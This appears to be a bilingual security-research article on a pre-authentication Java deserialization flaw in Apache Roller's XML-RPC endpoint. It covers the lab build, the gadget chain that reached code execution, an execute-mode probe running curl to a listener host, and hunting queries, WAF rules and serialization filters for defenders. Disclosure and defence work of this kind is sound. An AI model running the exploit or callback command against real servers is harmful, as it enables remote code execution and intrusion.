Article · CVE-2026-129448Article · CVE-2026-129448

Exploiting Apache RollerExploiter Apache Roller

Pre-authentication Java deserialization in the XML-RPC endpoint. CVE-2026-129448 / CVE-2026-82384.Désérialisation Java pré-authentification dans le point de terminaison XML-RPC. CVE-2026-129448 / CVE-2026-82384.

Apache Roller XML-RPC deserialization
TL;DRTL;DR
CVECVE-2026-129448 (duplicate of CVE-2026-82384)
CVSS 3.19.8 Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Apache)
Affected4.0.0 through 6.1.5 (see the version section below)
Fixed6.1.6+ (6.1.7 recommended)
ImpactPre-auth deserialization; RCE depends on the gadget surface and JDKDésérialisation pré-auth ; la RCE dépend de la surface de gadgets et du JDK
StatusActively exploited per the Apache advisoryActivité d'exploitation signalée par l'avis Apache

IntroductionIntroduction

Apache Roller is a Java blog platform that has been around since the early 2000s. It still ships a legacy XML-RPC API so that old blogging clients can post. We spent a couple of days inside that API and found that a single unauthenticated POST is enough to force the server to deserialize arbitrary Java objects. This article is the full walkthrough: how we found the sink, how we built the lab, the walls we hit, and how we turned it into code execution. The lab, scanner, exploit and detector are published on GitHub.Apache Roller est une plateforme de blogs Java présente depuis le début des années 2000. Elle embarque encore une API XML-RPC héritée pour que de vieux clients de blogging puissent publier. Nous avons passé quelques jours dans cette API et constaté qu'un simple POST non authentifié suffit à forcer le serveur à désérialiser des objets Java arbitraires. Cet article est le parcours complet : comment nous avons trouvé le puits, construit le labo, les murs rencontrés, et comment nous l'avons transformé en exécution de code. Le labo, le scanner, l'exploit et le détecteur sont publiés sur GitHub.

The endpointLe point de terminaison

Roller maps org.apache.xmlrpc.webserver.XmlRpcServlet to /roller-services/xmlrpc and turns vendor extensions on. That flag is the whole bug:Roller mappe org.apache.xmlrpc.webserver.XmlRpcServlet sur /roller-services/xmlrpc et active les extensions fournisseur. Ce drapeau est tout le bug :

$ unzip -p roller.war WEB-INF/web.xml | grep -A8 XmlRpcServlet
    <servlet>
      <servlet-name>XmlRpcServlet</servlet-name>
      <servlet-class>org.apache.xmlrpc.webserver.XmlRpcServlet</servlet-class>
      <init-param>
        <param-name>enabledForExtensions</param-name>
        <param-value>true</param-value>   <!-- 6.1.6 ships false -->
      </init-param>
    </servlet>

With extensions enabled, the Apache XML-RPC library registers the ex:serializable type. A client can put Base64-encoded Java-serialized bytes inside that element, and the library feeds them to ObjectInputStream.readObject().Une fois les extensions activées, la bibliothèque Apache XML-RPC enregistre le type ex:serializable. Un client peut placer des octets Java sérialisés encodés en Base64 dans cet élément, et la bibliothèque les passe à ObjectInputStream.readObject().

Following the parser to the sinkSuivre le parseur jusqu'au puits

We decompiled the parser to confirm the sink:Nous avons décompilé le parseur pour confirmer le puits :

$ javap -p -c -cp xmlrpc-common-3.1.3.jar org.apache.xmlrpc.parser.SerializableParser
  public java.lang.Object getResult() throws org.apache.xmlrpc.XmlRpcException;
    Code:
        11: new           java/io/ByteArrayInputStream
        20: new           java/io/ObjectInputStream
        30: invokevirtual java/io/ObjectInputStream.readObject:()Ljava/lang/Object;
        33: areturn

The wire format is an ex:serializable element declared at the methodCall root:Le format sur le fil est un élément ex:serializable déclaré à la racine methodCall :

<?xml version="1.0"?>
<methodCall xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
  <methodName>roller.probe</methodName>
  <params><param><value>
    <ex:serializable>rO0AB... </ex:serializable>
  </value></param></params>
</methodCall>

Why it is pre-authPourquoi c'est pré-auth

The order of operations is what makes this reachable without credentials. Deserialization happens during XML parsing, before the handler is looked up and before any authentication:L'ordre des opérations est ce qui rend la faille atteignable sans identifiants. La désérialisation a lieu pendant l'analyse XML, avant la résolution du handler et avant toute authentification :

HTTP POST /roller-services/xmlrpc
        |
        v
XmlRpcServlet.service()
        |
        v
XML parse  -->  SerializableParser.getResult()
                       |
                       v
              ObjectInputStream.readObject()   <-- the sink fires here
        |
        v
handler lookup  -->  XmlRpcServlet.getHandler()
        |
        v
authentication  -->  handler checks the username/password
                     (which arrive as method arguments,
                      only available AFTER parsing)

This is also why disabling XML-RPC in the admin UI does not help on vulnerable versions: the servlet mapping is still present in web.xml, and the parser still runs. The admin toggle only gates the handler, not the parser.C'est aussi pourquoi désactiver XML-RPC dans l'interface d'administration n'aide pas sur les versions vulnérables : le mapping du servlet est toujours présent dans web.xml, et le parseur tourne toujours. Le réglage d'administration ne ferme que le handler, pas le parseur.

Building the labConstruire le labo

We built a minimal Tomcat webapp with the same servlet configuration and the same jars Roller ships, so the parser behaves identically. It did not go smoothly. Each failure taught us something:Nous avons construit une webapp Tomcat minimale avec la même configuration de servlet et les mêmes jars que Roller embarque, pour que le parseur se comporte à l'identique. Cela ne s'est pas passé sans accroc. Chaque échec nous a appris quelque chose :

$ curl -s -X POST http://127.0.0.1:8080/roller-services/xmlrpc
HTTP 500  Failed to locate resource XmlRpcServlet.properties
# The servlet needs a handler mapping. Roller ships it at
# WEB-INF/classes/org/apache/xmlrpc/webserver/XmlRpcServlet.properties

$ curl -s -X POST http://127.0.0.1:8080/roller-services/xmlrpc
HTTP 500  Invalid parameter or result type: org.apache.xmlrpc.XmlRpcRequest
# Our stub implemented XmlRpcHandler. The reflective mapping wants a plain
# POJO with XML-RPC-typed methods (e.g. echo(String)), not execute(XmlRpcRequest).

$ curl -s -X POST http://127.0.0.1:8080/roller-services/xmlrpc
HTTP 500  UnsupportedClassVersionError: ... class file version 68.0 ...
          only recognizes class file versions up to 55.0
# We compiled on the host (Java 24), the container runs Java 11.
# Recompiled everything with --release 11.

$ python3 probe.py --target http://127.0.0.1:8080/roller-services/xmlrpc --mode detect
faultString: The prefix ex isn't the prefix, which has been defined last.
# The ex namespace must be declared at the methodCall root, not on the element.

A detection oracleUn oracle de détection

To prove the sink is reachable without running any code, we send a serialized object whose class does not exist on the server: lab.ProbeGhost. The error below can only come from readObject().Pour prouver que le puits est atteignable sans exécuter le moindre code, nous envoyons un objet sérialisé dont la classe n'existe pas sur le serveur : lab.ProbeGhost. L'erreur ci-dessous ne peut venir que de readObject().

$ python3 probe.py --target http://127.0.0.1:8080/roller-services/xmlrpc --mode detect   # 6.1.4
[*] HTTP status: 200
[*] verdict     : VULNERABLE
    Failed to load class for result object: lab.ProbeGhost

$ python3 probe.py --target http://127.0.0.1:8181/roller-services/xmlrpc --mode detect   # 6.1.6
[*] HTTP status: 200
[*] verdict     : PATCHED
    The tag {http://ws.apache.org/xmlrpc/namespaces/extensions}serializable is invalid,
    if isEnabledForExtensions() == false.

What changed between versionsCe qui a changé entre les versions

We downloaded the official 6.1.4, 6.1.5, 6.1.6 and 6.1.7 binaries and verified their SHA-256 sums:Nous avons téléchargé les binaires officiels 6.1.4, 6.1.5, 6.1.6 et 6.1.7 et vérifié leurs sommes SHA-256 :

6.1.4  a67cc9dd56456b4f78203a239cf4f0d4bb99634b74a230da3cd4d0d345f55823
6.1.5  c0f16e0792b9475dbde8e24fa4116ca10d6e0a8a82f71f06e9d3871637207ea8
6.1.6  59e22302c60a36172a6f397b09cfb4fb339b54af61430b0f4cc99ed19c739525
6.1.7  59a1fcc2eb7d862d17bd373d784362bd0cf087bf6e5030d363a204eb261726a4
VersionenabledForExtensionsXmlRpcEnabledFilterVerdictVerdict
6.1.4trueabsentabsentvulnerable (tested)vulnérable (testé)
6.1.5trueabsentabsentvulnerable (tested)vulnérable (testé)
6.1.6falsepresentprésentfixedcorrigé
6.1.7falsepresentprésentfixedcorrigé

The XML-RPC jars are byte-identical across all four releases, so this is purely a Roller-side configuration fix. That before 6.1.5 wording is a mistake in the advisory. Its own remediation says to upgrade to 6.1.6 or later, and the fix only landed in 6.1.6 via PR #171, so 6.1.5 cannot be the fixed boundary: it is vulnerable too. The earlier CVE-2026-82384 record, which this CVE supersedes, does list 6.1.5 as affected. Our lab extracted the official 6.1.4 and 6.1.5 binaries and found both ship enabledForExtensions=true with no XmlRpcEnabledFilter, identical to each other, which confirms 6.1.5 is vulnerable. We did not independently test 4.0.0 through 6.1.3; those are asserted vulnerable per the CVE record, not per our lab.Les jars XML-RPC sont identiques octet pour octet sur les quatre versions : c'est donc purement un correctif de configuration côté Roller. Cette formulation before 6.1.5 est une erreur dans l'avis. Sa propre remédiation dit de passer en 6.1.6 ou plus, et le correctif n'est arrivé qu'en 6.1.6 via le PR #171 : 6.1.5 ne peut donc pas être la borne corrigée, elle est vulnérable aussi. L'enregistrement antérieur CVE-2026-82384, que ce CVE remplace, liste bien 6.1.5 comme affectée. Notre labo a extrait les binaires officiels 6.1.4 et 6.1.5 et constaté que tous deux embarquent enabledForExtensions=true sans XmlRpcEnabledFilter, identiques l'un à l'autre, ce qui confirme que 6.1.5 est vulnérable. Nous n'avons pas testé indépendamment 4.0.0 à 6.1.3 ; ces versions sont déclarées vulnérables selon l'enregistrement CVE, pas selon notre labo.

From deserialization to code executionDe la désérialisation à l'exécution de code

A deserialization sink is not RCE by itself: you need a gadget chain on the classpath. We hit two walls that most write-ups skip.Un puits de désérialisation n'est pas une RCE à lui seul : il faut une chaîne de gadgets sur le classpath. Nous avons heurté deux murs que la plupart des articles passent sous silence.

The obvious choice is CommonsCollections6. It fails, because Roller bundles commons-collections 3.2.2, whose readObject() guard disables deserialization of several unsafe functor classes:Le choix évident est CommonsCollections6. Il échoue, car Roller embarque commons-collections 3.2.2, dont la protection readObject() désactive la désérialisation de plusieurs classes functor dangereuses :

$ java -jar ysoserial-all.jar CommonsCollections6 "id"
Serialization support for org.apache.commons.collections.functors.InvokerTransformer
is disabled for security reasons.

That guard covers InvokerTransformer (used by CC1, CC2, CC5, CC6 and CC7) and InstantiateTransformer (used by CC3 via TrAXFilter), plus a few others. CC4 targets commons-collections4, which Roller does not bundle. So the classic chains are all off the table here.Cette protection couvre InvokerTransformer (utilisé par CC1, CC2, CC5, CC6 et CC7) et InstantiateTransformer (utilisé par CC3 via TrAXFilter), plus quelques autres. CC4 cible commons-collections4, que Roller n'embarque pas. Les chaînes classiques sont donc toutes hors jeu ici.

We then reached for CommonsBeanutils1, which uses a BeanComparator with no such guard. It failed too, this time on the JDK:Nous nous sommes ensuite rabattus sur CommonsBeanutils1, qui utilise un BeanComparator sans protection. Cela a aussi échoué, cette fois côté JDK :

$ java -jar ysoserial-all.jar CommonsBeanutils1 "id"
Support for deserializing TemplatesImpl is disabled.

Our lab runs Temurin 11.0.33+10 (released 2026-10-20), which disables TemplatesImpl deserialization by default, controlled by jdk.xml.enableTemplatesImplDeserialization. (This is a JDK hardening change, not CVE-2022-34169, which is the separate Xalan XSLTC integer-truncation issue.) To prove the chain end-to-end we relaxed only that JDK flag in the lab, and generated the payload under JDK 11 so the embedded bytecode is class-version 55 and loadable by the target. The working chain is PriorityQueue + BeanComparator + TemplatesImpl, and the command runs through Runtime.getRuntime().exec(String), which tokenizes and has no shell.Notre labo tourne sous Temurin 11.0.33+10 (publié le 2026-10-20), qui désactive la désérialisation de TemplatesImpl par défaut, contrôlée par jdk.xml.enableTemplatesImplDeserialization. (C'est un durcissement du JDK, pas CVE-2022-34169, qui est le problème distinct de troncature d'entier de Xalan XSLTC.) Pour prouver la chaîne de bout en bout, nous avons relâché uniquement ce drapeau JDK dans le labo, et généré la charge sous JDK 11 pour que le bytecode embarqué soit en version 55 de classe, chargeable par la cible. La chaîne fonctionnelle est PriorityQueue + BeanComparator + TemplatesImpl, et la commande passe par Runtime.getRuntime().exec(String), qui découpe en jetons et n'a pas de shell.

Proof: out-of-band callbacksPreuve : rappels hors bande

The final proof was out-of-band. We sent a payload that runs curl, and the listener on our box received the request from the container:La preuve finale était hors bande. Nous avons envoyé une charge qui exécute curl, et l'écouteur de notre machine a reçu la requête depuis le conteneur :

$ python3 probe.py --target http://127.0.0.1:8080/roller-services/xmlrpc \
    --mode execute --cmd "curl http://172.20.0.1:9999/roller-pwned"
[*] HTTP status: 200

$ cat /tmp/oob.log
GET /roller-pwned from 172.20.0.3

The patched target produced no callback. The full lab, the scanner, the exploit and the detector are published on GitHub:La cible corrigée n'a produit aucun rappel. Le labo complet, le scanner, l'exploit et le détecteur sont publiés sur GitHub :

GitHub: APACHE-CVE-2026-129448GitHub : APACHE-CVE-2026-129448

For defenders: detection and hardeningPour les défenseurs : détection et durcissement

Upgrade is the fix, but here is how to verify, detect and buy time.La mise à jour est le correctif, mais voici comment vérifier, détecter et gagner du temps.

Verify the fixVérifier le correctif

# confirm the flag is off
$ unzip -p roller.war WEB-INF/web.xml | grep -A2 enabledForExtensions
    <param-name>enabledForExtensions</param-name>
    <param-value>false</param-value>

# confirm the filter is mapped
$ unzip -p roller.war WEB-INF/web.xml | grep -A1 XmlRpcEnabledFilter
    <filter-name>XmlRpcEnabledFilter</filter-name>

# and probe with the oracle: you want the PATCHED answer, not the class error

Interim mitigationAtténuation provisoire

If you cannot upgrade, set enabledForExtensions to false in WEB-INF/web.xml or remove the /roller-services/xmlrpc servlet mapping, then restart. If the endpoint is not reachable from the internet anyway, block or strip that path at the reverse proxy or WAF. Do not rely on the admin UI toggle.Si vous ne pouvez pas mettre à jour, mettez enabledForExtensions à false dans WEB-INF/web.xml ou retirez le mapping du servlet /roller-services/xmlrpc, puis redémarrez. Si le point de terminaison n'a pas besoin d'être joignable depuis Internet, bloquez ou retirez ce chemin au niveau du reverse proxy ou du WAF. Ne comptez pas sur le réglage de l'interface d'administration.

What to hunt forQuoi chercher

Detection indicators, in order of signal strength. Legitimate XML-RPC traffic never uses ex:serializable, so that element and its namespace are the strongest signal:Indicateurs de détection, par force de signal. Le trafic XML-RPC légitime n'utilise jamais ex:serializable, donc cet élément et son namespace sont le signal le plus fort :

Web / WAF / proxy logs:
  POST /roller-services/xmlrpc  with Content-Type: text/xml
  body contains  ex:serializable
  body contains  http://ws.apache.org/xmlrpc/namespaces/extensions
  body contains  rO0AB   (Base64 of the Java serialization magic AC ED 00 05)

Application logs:
  "Failed to load class for result object"   <-- readObject() reached, class absent
  "Failed to read result object"
  stack traces mentioning org.apache.xmlrpc.parser.SerializableParser
  stack traces mentioning java.io.ObjectInputStream

EDR / process (post-exploitation):
  the JVM spawning curl, wget, nc, or bash -c
  outbound connections from the Java process to unusual hosts (OOB callback)

A note on the rO0AB check: it only matches when the serialized stream starts at byte zero. A gzip or wrapped stream will not. The ex:serializable element and its namespace do not have that limitation, which is why they are the more robust signals.Une note sur le contrôle rO0AB : il ne correspond que lorsque le flux sérialisé commence à l'octet zéro. Un flux gzip ou encapsulé ne correspondra pas. L'élément ex:serializable et son namespace n'ont pas cette limite, c'est pourquoi ce sont les signaux les plus robustes.

KQL huntChasse KQL

Two hunts for Microsoft Sentinel / Defender. Adjust table and field names to your ingestion.Deux chasses pour Microsoft Sentinel / Defender. Adaptez les noms de tables et de champs à votre ingestion.

// Hunt 1: web request to the endpoint (map the table/columns to your WAF/proxy logs)
let ext = @"ex:serializable|rO0AB";
CommonSecurityLog
| where RequestURL contains "/roller-services/xmlrpc"
| where RequestMethod == "POST"
| where RequestContext matches regex ext or AdditionalExtensions matches regex ext
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod

// Hunt 2: post-exploitation, a JVM process spawning a shell or network tool
DeviceProcessEvents
| where InitiatingProcessFileName has_any ("java", "java.exe", "catalina.sh", "tomcat9.exe")
| where FileName has_any ("curl", "curl.exe", "wget", "nc", "nc.exe", "netcat", "bash", "sh", "powershell.exe", "cmd.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

WAF ruleRègle WAF

A ModSecurity rule that blocks the vendor-extension element on the XML-RPC path (phase 2, body available):Une règle ModSecurity qui bloque l'élément d'extension fournisseur sur le chemin XML-RPC (phase 2, corps disponible) :

SecRule REQUEST_URI "@contains /roller-services/xmlrpc" \
  "id:951001,phase:2,deny,status:403,log,\
   msg:'CVE-2026-129448: Apache Roller XML-RPC deserialization attempt',chain"
  SecRule REQUEST_BODY "@rx ex:serializable" "t:none"

Cloudflare WAFWAF Cloudflare

// Cloudflare WAF custom rule (Rules language expression): Action: Block
(http.request.method eq "POST"
 and http.request.uri.path contains "/roller-services/xmlrpc"
 and http.request.body.raw contains "ex:serializable")

// If request-body inspection is not available on your plan, block the path
// outright when the endpoint does not need to be reachable:
(http.request.uri.path contains "/roller-services/xmlrpc")

Imperva: the equivalent is a console-defined custom rule on URL path /roller-services/xmlrpc with the body containing ex:serializable, action Block. Imperva rules are configured through the console or API rather than a text expression, so we do not publish a snippet here.Imperva : l'équivalent est une règle personnalisée définie dans la console sur le chemin /roller-services/xmlrpc avec un corps contenant ex:serializable, action Blocage. Les règles Imperva se configurent via la console ou l'API plutôt que par une expression texte, nous ne publions donc pas d'extrait ici.

JVM serialization filter (defense-in-depth)Filtre de sérialisation JVM (défense en profondeur)

The XML-RPC parser builds a plain ObjectInputStream with no stream-specific filter, so a global JEP 290 filter applies. This is a blunt, app-wide control: test it against legitimate traffic before enabling, because it affects every ObjectInputStream in the JVM.Le parseur XML-RPC construit un ObjectInputStream simple sans filtre spécifique au flux, donc un filtre global JEP 290 s'applique. C'est un contrôle global à l'échelle de l'application : testez-le contre le trafic légitime avant de l'activer, car il affecte chaque ObjectInputStream de la JVM.

# conf/security/java.security
jdk.serialFilter=!org.apache.commons.collections.functors.**;!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;*

TimelineChronologie

DateDateEventÉvénement
2026-09-05PR #171 merged (the fix)PR #171 fusionné (le correctif)
2026-09-25CVE-2026-82384 disclosed (listed only 6.1.5)Divulgation de CVE-2026-82384 (ne listait que 6.1.5)
2026-11-11Roller 6.1.7 releasedPublication de Roller 6.1.7
2026-11-17CVE-2026-129448 published, range corrected, active exploitation flaggedCVE-2026-129448 publié, plage corrigée, exploitation active signalée

ReferencesRéférences

Other publicationsAutres publications

All articlesTous les articles

TUXSHIN SECURITY ninja mascot

Worried about your exposure?Inquiet pour votre exposition ?

We can scan and assess your estate for this and similar issues, with proof and a fix.Nous pouvons scanner et évaluer votre parc pour cette faille et les similaires, avec preuve et correctif.

Get in touchNous contacter